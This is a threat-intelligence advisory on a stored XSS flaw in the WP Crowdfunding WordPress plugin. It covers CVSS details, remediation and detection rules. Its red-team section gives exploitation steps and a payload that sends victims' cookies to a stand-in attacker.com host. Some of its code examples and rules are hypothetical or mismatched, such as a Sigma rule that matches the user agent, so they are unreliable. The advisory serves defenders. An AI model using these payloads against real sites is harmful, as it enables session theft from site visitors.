CVE-2024-11910

Executive Summary

CVE-2024-11910 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Crowdfunding WordPress plugin, affecting all versions up to and including 2.1.15. The flaw resides in the wp-crowdfunding/search block, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses the injected page, leading to potential data theft, session hijacking, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public exploit code or patch details are available.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem, specifically the WP Crowdfunding plugin. As a WordPress plugin, it is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin installations and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated attackers to inject persistent scripts poses a significant risk to site integrity and user trust.

Deep Dive & Mechanics

The vulnerability exists in the wp-crowdfunding/search block, which is part of the WP Crowdfunding plugin. This block is used to display search results for crowdfunding campaigns. The plugin fails to properly sanitize user-supplied input and escape output when rendering search parameters or results. An attacker with Contributor-level access can craft a malicious payload (e.g., JavaScript) within a search query or campaign title. When the block is rendered, the payload is stored in the database and executed in the browser of any user viewing the page.

Root Cause: Insufficient input sanitization and output escaping in the wp-crowdfunding/search block handler.

Attack Flow:

1. Attacker logs in with Contributor-level privileges.
2. Attacker creates or edits a campaign, injecting a malicious script into a searchable field (e.g., campaign title).
3. The script is stored in the WordPress database.
4. When a victim visits a page containing the wp-crowdfunding/search block, the script executes in their browser.
5. The attacker can steal cookies, redirect users, or perform other malicious actions.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.1.15): The plugin likely uses echo or print without proper escaping. Example:

echo '<div class="campaign-title">' . $campaign_title . '</div>';

Patched Code (Hypothetical): The fix would involve using WordPress's built-in escaping functions:

echo '<div class="campaign-title">' . esc_html( $campaign_title ) . '</div>';

Additionally, input should be sanitized with sanitize_text_field() or similar functions before storage.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with WP Crowdfunding plugin <= 2.1.15
• Contributor-level account or higher

Steps:

1. Log in as a Contributor.
2. Navigate to "Campaigns" > "Add New".
3. In the campaign title field, inject a payload:

   <script>alert('XSS')</script>
   

4. Publish the campaign.
5. Visit a page that displays the wp-crowdfunding/search block (e.g., the search results page).
6. The script executes.

Advanced Payload:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual campaign titles containing <script>, <img onerror>, or other HTML/JavaScript patterns.
• Use Web Application Firewall (WAF) rules to block XSS payloads in campaign fields.

Hardening:

• Apply input sanitization and output escaping as described in the patched code section.
• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• Network: HTTP requests containing <script> tags in campaign-related parameters.
• Host: Presence of unexpected JavaScript in WordPress database wp_posts table (e.g., in post_title or post_content).
• Logs: WordPress audit logs showing creation or modification of campaigns by Contributor-level users with suspicious content.

Detection Engineering

YARA Rule

rule wp_crowdfunding_xss {
    meta:
        description = "Detects stored XSS payloads in WP Crowdfunding plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-11910"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]+onerror\s*=/is
        $xss3 = /onload\s*=/is
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: WP Crowdfunding Stored XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in WP Crowdfunding plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.user_agent|contains: 
            - 'script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in campaign descriptions
level: medium

Suricata Rule

alert http any any -> any any (msg:"WP Crowdfunding Stored XSS Attempt"; flow:to_server; content:"wp-crowdfunding"; http_uri; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP Crowdfunding plugin until a patch is available.
2. Restrict Contributor-level access to only trusted users.
3. Implement a Web Application Firewall (WAF) with XSS rules.

Long-term Fix:

• Apply input sanitization and output escaping in the wp-crowdfunding/search block.
• Update to the latest version once a patch is released by the vendor.

Workaround:

• Use a security plugin like Wordfence to block XSS payloads.
• Manually review and sanitize campaign titles and descriptions.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert